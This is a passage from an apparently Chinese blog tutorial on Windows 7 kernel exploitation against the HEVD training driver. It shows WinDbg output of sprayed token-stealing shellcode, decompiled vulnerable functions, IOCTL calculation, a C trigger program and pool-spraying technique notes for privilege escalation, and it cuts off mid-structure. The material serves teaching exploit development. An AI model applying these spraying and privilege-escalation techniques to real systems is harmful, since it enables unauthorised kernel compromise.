<span class="number">0x400</span>, StackSpray);</span><br></pre></td></tr></table></figure><p>我们来看看我们完整的exp的运行情况，我们还是在刚才的地方下断点，可以清楚的看到我们的shellcode已经被喷上去了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; ba e1 8D6A3F86</span><br><span class="line">0: kd&gt; g</span><br><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******</span><br><span class="line">[+] UserValue: 0xBAD0B0B1</span><br><span class="line">[+] UninitializedStackVariable Address: 0x92E2F9C8</span><br><span class="line">[+] UninitializedStackVariable.Value: 0x00931040</span><br><span class="line">[+] UninitializedStackVariable.Callback: 0x00931040</span><br><span class="line">[+] Triggering Uninitialized Stack Variable Vulnerability</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi</span><br><span class="line">2: kd&gt; dd 0x92E2F9C8</span><br><span class="line">92e2f9c8  00931040 00931040 00931040 00931040</span><br><span class="line">92e2f9d8  00931040 00931040 00931040 00931040</span><br><span class="line">92e2f9e8  00931040 00931040 00931040 00931040</span><br><span class="line">92e2f9f8  00931040 00931040 00931040 00931040</span><br><span class="line">92e2fa08  00931040 00931040 c0802000 92e2fa40</span><br><span class="line">92e2fa18  83e66654 7606a001 00000322 000000da</span><br><span class="line">92e2fa28  000000da 866cc220 00000000 00931040</span><br><span class="line">92e2fa38  00000005 c0802d08 92e2fa74 83e656cc</span><br><span class="line">2: kd&gt; u 00931040</span><br><span class="line">00931040 53              push    ebx</span><br><span class="line">00931041 56              push    esi</span><br><span class="line">00931042 57              push    edi</span><br><span class="line">00931043 60              pushad</span><br><span class="line">00931044 64a124010000    mov     eax,dword ptr fs:[00000124h]</span><br><span class="line">0093104a 8b4050          mov     eax,dword ptr [eax+50h]</span><br><span class="line">0093104d 8bc8            mov     ecx,eax</span><br><span class="line">0093104f ba04000000      mov     edx,4</span><br></pre></td></tr></table></figure><p>最后我们整合一下代码就可以提权了，总结一下步骤</p><ul><li>初始化句柄等结构</li><li>将我们准备喷射的栈用Shellcode填满</li><li>调用<code>NtMapUserPhysicalPages</code>进行喷射</li><li>调用<code>TriggerUninitializedStackVariable</code>函数触发漏洞</li><li>调用cmd提权</li></ul><p>提权效果如下，详细的代码参考<a href="https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/Uninitialized-Stack-Variable/Uninitialized-Stack-Variable/Uninitialized-Stack-Variable.c" target="_blank" rel="noopener">这里</a></p><p><img src="/2019/06/28/Windows-Kernel-Exploit/14.gif" alt="test"></p><h1 id="0x09：Uninitialized-HeapVariable"><a href="#0x09：Uninitialized-HeapVariable" class="headerlink" title="0x09：Uninitialized-HeapVariable"></a>0x09：Uninitialized-HeapVariable</h1><p>这是 Windows kernel exploit 系列的最后一篇，如果你按顺序观看我之前文章并且自己调过的话，应该对各种漏洞类型在Windows 7 下的利用比较熟悉了，其他的话我放在最后说把，现在进入我所谓的最后一个专题，未初始化的堆变量利用，看此文章之前你需要有以下准备：</p><ul><li>Windows 7 x86 sp1虚拟机</li><li>配置好windbg等调试工具，建议配合VirtualKD使用</li><li>HEVD+OSR Loader配合构造漏洞环境</li></ul><h2 id="0x01：漏洞原理-6"><a href="#0x01：漏洞原理-6" class="headerlink" title="0x01：漏洞原理"></a>0x01：漏洞原理</h2><h3 id="未初始化堆变量"><a href="#未初始化堆变量" class="headerlink" title="未初始化堆变量"></a>未初始化堆变量</h3><p>我们还是先用IDA分析<code>HEVD.sys</code>，找到相应的函数<code>TriggerUninitializedHeapVariable</code>，这里首先还是初始化了异常处理机制，验证我们传入的<code>UserBuffer</code>是否在 user mode ，然后申请了一块分页池，将我们的<code>UserBuffer</code>给了<code>UserValue</code>，判断是否等于 0xBAD0B0B0 ，如果相等则给回调函数之类的赋值，如果不相等则直接调用回调函数，根据前一篇的经验，这里肯定是修改回调函数为我们shellcode的位置，最后调用提权</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">TriggerUninitializedHeapVariable</span><span class="params">(<span class="keyword">void</span> *UserBuffer)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> UserValue; <span class="comment">// esi</span></span><br><span class="line">  _UNINITIALIZED_HEAP_VARIABLE *UninitializedHeapVariable; <span class="comment">// [esp+18h] [ebp-1Ch]</span></span><br><span class="line">  CPPEH_RECORD ms_exc; <span class="comment">// [esp+1Ch] [ebp-18h]</span></span><br><span class="line"></span><br><span class="line">  ms_exc.registration.TryLevel = <span class="number">0</span>;</span><br><span class="line">  ProbeForRead(UserBuffer, <span class="number">0xF0</span>u, <span class="number">4u</span>);</span><br><span class="line">  UninitializedHeapVariable = (_UNINITIALIZED_HEAP_VARIABLE *)ExAllocatePoolWithTag(PagedPool, <span class="number">0xF0</span>u, <span class="number">0x6B636148</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( UninitializedHeapVariable )</span><br><span class="line">  &#123;</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Tag: %s\n"</span>, <span class="string">"'kcaH'"</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Type: %s\n"</span>, <span class="string">"PagedPool"</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Size: 0x%X\n"</span>, <span class="number">0xF0</span>);</span><br><span class="line">    DbgPrint(<span class="string">"[+] Pool Chunk: 0x%p\n"</span>, UninitializedHeapVariable);</span><br><span class="line">    UserValue = *(_DWORD *)UserBuffer;</span><br><span class="line">    DbgPrint(<span class="string">"[+] UserValue: 0x%p\n"</span>, *(_DWORD *)UserBuffer);</span><br><span class="line">    DbgPrint(<span class="string">"[+] UninitializedHeapVariable Address: 0x%p\n"</span>, &amp;UninitializedHeapVariable);</span><br><span class="line">    <span class="keyword">if</span> ( UserValue == <span class="number">0xBAD0B0B0</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      UninitializedHeapVariable-&gt;Value = <span class="number">0xBAD0B0B0</span>;</span><br><span class="line">      UninitializedHeapVariable-&gt;Callback = (<span class="keyword">void</span> (__stdcall *)())UninitializedHeapVariableObjectCallback;</span><br><span class="line">      <span class="built_in">memset</span>(UninitializedHeapVariable-&gt;Buffer, <span class="number">0x41</span>, <span class="number">0xE8</span>u);</span><br><span class="line">      UninitializedHeapVariable-&gt;Buffer[<span class="number">0x39</span>] = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    DbgPrint(<span class="string">"[+] Triggering Uninitialized Heap Variable Vulnerability\n"</span>);</span><br><span class="line">    <span class="keyword">if</span> ( UninitializedHeapVariable )</span><br><span class="line">    &#123;</span><br><span class="line">      DbgPrint(<span class="string">"[+] UninitializedHeapVariable-&gt;Value: 0x%p\n"</span>, UninitializedHeapVariable-&gt;Value);</span><br><span class="line">      DbgPrint(<span class="string">"[+] UninitializedHeapVariable-&gt;Callback: 0x%p\n"</span>, UninitializedHeapVariable-&gt;Callback);</span><br><span class="line">      UninitializedHeapVariable-&gt;Callback();</span><br><span class="line">    &#125;</span><br><span class="line">    result = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    DbgPrint(<span class="string">"[-] Unable to allocate Pool chunk\n"</span>);</span><br><span class="line">    ms_exc.registration.TryLevel = <span class="number">0xFFFFFFFE</span>;</span><br><span class="line">    result = <span class="number">0xC0000017</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们查看一下源码文件是如何说明的，安全的方案先检查了是否存在空指针，然后将<code>UninitializedMemory</code>置为NULL，最后安全的调用了回调函数，而不安全的方案则在不确定 Value 和 Callback 的情况下直接调用了回调函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> SECURE</span></span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            DbgPrint(<span class="string">"[+] Freeing UninitializedMemory Object\n"</span>);</span><br><span class="line">            DbgPrint(<span class="string">"[+] Pool Tag: %s\n"</span>, STRINGIFY(POOL_TAG));</span><br><span class="line">            DbgPrint(<span class="string">"[+] Pool Chunk: 0x%p\n"</span>, UninitializedMemory);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// Free the allocated Pool chunk</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">            ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);</span><br><span class="line"></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// Secure Note: This is secure because the developer is setting 'UninitializedMemory'</span></span><br><span class="line">            <span class="comment">// to NULL and checks for NULL pointer before calling the callback</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// Set to NULL to avoid dangling pointer</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">            UninitializedMemory = <span class="literal">NULL</span>;</span><br><span class="line">        &#125;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability</span></span><br><span class="line">        <span class="comment">// because the developer is not setting 'Value' &amp; 'Callback' to definite known value</span></span><br><span class="line">        <span class="comment">// before calling the 'Callback'</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        DbgPrint(<span class="string">"[+] Triggering Uninitialized Memory in PagedPool\n"</span>);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// Call the callback function</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (UninitializedMemory)</span><br><span class="line">        &#123;</span><br><span class="line">            DbgPrint(<span class="string">"[+] UninitializedMemory-&gt;Value: 0x%p\n"</span>, UninitializedMemory-&gt;Value);</span><br><span class="line">            DbgPrint(<span class="string">"[+] UninitializedMemory-&gt;Callback: 0x%p\n"</span>, UninitializedMemory-&gt;Callback);</span><br><span class="line"></span><br><span class="line">            UninitializedMemory-&gt;Callback();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    __except (EXCEPTION_EXECUTE_HANDLER)</span><br><span class="line">    &#123;</span><br><span class="line">        Status = GetExceptionCode();</span><br><span class="line">        DbgPrint(<span class="string">"[-] Exception Code: 0x%X\n"</span>, Status);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>漏洞的原理我们很清楚了，现在就是如何构造和利用的问题了，如果你没有看过我之前的文章，建议看完这里之后去看看池溢出那一篇，最好是读一下文章中所提到的Tarjei Mandt 写的 Kernel Pool Exploitation on Windows 7，对Windows 7 内核池有一个比较好的认识</p><h2 id="0x02：漏洞利用-6"><a href="#0x02：漏洞利用-6" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h2><h3 id="控制码-3"><a href="#控制码-3" class="headerlink" title="控制码"></a>控制码</h3><p>我们还是从控制码入手，在<code>HackSysExtremeVulnerableDriver.h</code>中定位到相应的定义</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL               IOCTL(0x80C)</span></span><br></pre></td></tr></table></figure><p>然后我们用python计算一下控制码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>hex((<span class="number">0x00000022</span> &lt;&lt; <span class="number">16</span>) | (<span class="number">0x00000000</span> &lt;&lt; <span class="number">14</span>) | (<span class="number">0x80c</span> &lt;&lt; <span class="number">2</span>) | <span class="number">0x00000003</span>)</span><br><span class="line"><span class="string">'0x222033'</span></span><br></pre></td></tr></table></figure><p>我们验证一下我们的代码，我们先传入 buf = 0xBAD0B0B0 观察，构造如下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">HANDLE hDevice = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">init</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// Get HANDLE</span></span><br><span class="line">hDevice = CreateFileA(<span class="string">"\\\\.\\HackSysExtremeVulnerableDriver"</span>,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Start to get HANDLE...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (hDevice == INVALID_HANDLE_VALUE || hDevice == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Success to get HANDLE!\n"</span>);</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">VOID <span class="title">Trigger_shellcode</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD bReturn = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">4</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">*(PDWORD32)(buf) = <span class="number">0xBAD0B0B0</span>;</span><br><span class="line"></span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x222033</span>, buf, <span class="number">4</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;bReturn, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (init() == FALSE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to get HANDLE!!!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Trigger_shellcode();</span><br><span class="line"><span class="comment">//__debugbreak();</span></span><br><span class="line">    </span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们打印的信息如下，如我们所愿，并没有异常发生</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">3: kd&gt; g</span><br><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Type: PagedPool</span><br><span class="line">[+] Pool Size: 0xF0</span><br><span class="line">[+] Pool Chunk: 0x9A7FFF10</span><br><span class="line">[+] UserValue: 0xBAD0B0B0</span><br><span class="line">[+] UninitializedHeapVariable Address: 0x97EF4AB8</span><br><span class="line">[+] Triggering Uninitialized Heap Variable Vulnerability</span><br><span class="line">[+] UninitializedHeapVariable-&gt;Value: 0xBAD0B0B0</span><br><span class="line">[+] UninitializedHeapVariable-&gt;Callback: 0x8D6A3D58</span><br><span class="line">[+] Uninitialized Heap Variable Object Callback</span><br><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******</span><br></pre></td></tr></table></figure><p>我们尝试传入不同的值观察是否有异常发生</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">Trigger_shellcode</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD bReturn = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">4</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">*(PDWORD32)(buf) = <span class="number">0xBAD0B0B0</span>+<span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x222033</span>, buf, <span class="number">4</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;bReturn, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们在调用运行效果如下，这里被异常处理所接受，这里我们Callback有一个值，我们查看之后发现是一个无效地址，我们希望的当然是指向我们的shellcode，所以就需要想办法构造了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******</span><br><span class="line">[+] Pool Tag: &apos;kcaH&apos;</span><br><span class="line">[+] Pool Type: PagedPool</span><br><span class="line">[+] Pool Size: 0xF0</span><br><span class="line">[+] Pool Chunk: 0x9A03C430</span><br><span class="line">[+] UserValue: 0xBAD0B0B1</span><br><span class="line">[+] UninitializedHeapVariable Address: 0x8E99BAB8</span><br><span class="line">[+] Triggering Uninitialized Heap Variable Vulnerability</span><br><span class="line">[+] UninitializedHeapVariable-&gt;Value: 0x00000000</span><br><span class="line">[+] UninitializedHeapVariable-&gt;Callback: 0xDD1CB39C</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">8d6a3e83 ff5004          call    dword ptr [eax+4]</span><br><span class="line">0: kd&gt; dd 0xDD1CB39C</span><br><span class="line">dd1cb39c  ???????? ???????? ???????? ????????</span><br><span class="line">dd1cb3ac  ???????? ???????? ???????? ????????</span><br><span class="line">dd1cb3bc  ???????? ???????? ???????? ????????</span><br><span class="line">dd1cb3cc  ???????? ???????? ???????? ????????</span><br><span class="line">dd1cb3dc  ???????? ???????? ???????? ????????</span><br><span class="line">dd1cb3ec  ???????? ???????? ???????? ????????</span><br><span class="line">dd1cb3fc  ???????? ???????? ???????? ????????</span><br><span class="line">dd1cb40c  ???????? ???????? ???????? ????????</span><br></pre></td></tr></table></figure><h3 id="构造堆结构"><a href="#构造堆结构" class="headerlink" title="构造堆结构"></a>构造堆结构</h3><p>现在我们已经有了思路，还是把Callback指向shellcode，既然上一篇类似的问题能够栈喷射，那这里我们自然想到了堆喷射，回想我们在池溢出里堆喷射所用的函数<code>CreateEventA</code>，这里我们多研究一下这个函数，要知道我们这里是分页池而不是非分页池，如果你用池溢出那一段申请很多Event对象的代码的话，是看不到一个Event对象存在分页池里面的(并且会蓝屏)，但是函数中的<code>lpName</code>这个参数就比较神奇了，它是分配在分页池里面的，并且是我们可以操控的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">HANDLE <span class="title">CreateEventA</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  LPSECURITY_ATTRIBUTES lpEventAttributes,</span></span></span><br><span class="line"><span class="function"><span class="params">  BOOL                  bManualReset,</span></span></span><br><span class="line"><span class="function"><span class="params">  BOOL                  bInitialState,</span></span></span><br><span class="line"><span class="function"><span class="params">  LPCSTR                lpName</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure><p>为了更好的理解这里的利用，让我们复习一下 Windows 7 下的<code>Lookaside Lists</code>快表结构，并且我们知道最大块大小是0x20，最多有256个块(前置知识来自Tarjei Mandt的Kernel Pool Exploitation on Windows 7文章)，这里要清楚的是我们是在修改快表的结构，因为申请池一开始是调用的快表，如果快表不合适才会去调用空表(ListHeads)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">GENERAL_LOOKASIDE_POOL</span> </span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line"><span class="keyword">union</span>&#123;</span><br><span class="line"><span class="comment">/*0x000*/</span><span class="keyword">union</span> _SLIST_HEADER ListHead;</span><br><span class="line"><span class="comment">/*0x000*/</span><span class="class"><span class="keyword">struct</span> _<span class="title">SINGLE_LIST_ENTRY</span> <span class="title">SingleListHead</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="comment">/*0x008*/</span>   UINT16Depth;</span><br><span class="line"><span class="comment">/*0x00A*/</span> UINT16MaximumDepth;</span><br><span class="line"><span class="comment">/*0x00C*/</span> ULONG32TotalAllocates;</span><br><span class="line"><span class="keyword">union</span>&#123;</span><br><span class="line"><span class="comment">/*0x010*/</span>ULONG32 AllocateMisses;</span><br><span class="line"><span class="comment">/*0x010*/</span>ULONG32 AllocateHits;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="comment">/*0x014*/</span>   ULONG32        TotalFrees;</span><br><span class="line"><span class="keyword">union</span>&#123;</span><br><span class="line"><span class="comment">/*0x018*/</span>ULONG32 FreeMisses;</span><br><span class="line"><span class="comment">/*0x018*/</span>ULONG32 FreeHits;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="comment">/*0x01C*/</span><span class="keyword">enum</span> _POOL_TYPE  Type;</span><br><span class="line"><span class="comment">/*0x020*/</span>ULONG32        Tag;</span><br><span class="line"><span class="comment">/*0x024*/</span>ULONG32        Size;</span><br><span class="line">    <span class="keyword">union</span>&#123;</span><br><span class="line"><span class="comment">/*0x028*/</span>PVOID AllocateEx;</span><br><span class="line"><span class="comment">/*0x028*/</span>PVOID Allocate;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">union</span>&#123;</span><br><span class="line"><span class="comment">/*0x02C*/</span>                    PVOID FreeEx;</span><br><span class="line"><span class="comment">/*0x02C*/</span>                    PVOIDFree;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="comment">/*0x030*/</span>  <span class="class"><span class="keyword">struct</span> _<span class="title">LIST_ENTRY</span> <span class="title">ListEntry</span>;</span></span><br><span class="line"><span class="comment">/*0x038*/</span>  ULONG32        LastTotalAllocates;</span><br><span class="line">    <span class="keyword">union</span>&#123;</span><br><span class="line"><span class="comment">/*0x03C*/</span>ULONG32 LastAllocateMisses;</span><br><span class="line"><span class="comment">/*0x03C*/</span>ULONG32 LastAllocateHits;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="comment">/*0x040*/</span> ULONG32 Future [<span class="number">2</span>];</span><br><span class="line">&#125; GENERAL_LOOKASIDE_POOL, *PGENERAL_LOOKASIDE_POOL;</span><br></pre></td></tr></table></figure><p>我们还需要知道的是，我们申请的每一个结构中的<code>lpName</code>还不能一样，不然两个池在后面就相当于一个在运作，又因为pool size为0xf0，加上header就是0xf8，所以我们这里考虑将<code>lpName</code>大小设为0xf0，因为源码中我们的堆结构如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">UNINITIALIZED_HEAP_VARIABLE</span> &#123;</span></span><br><span 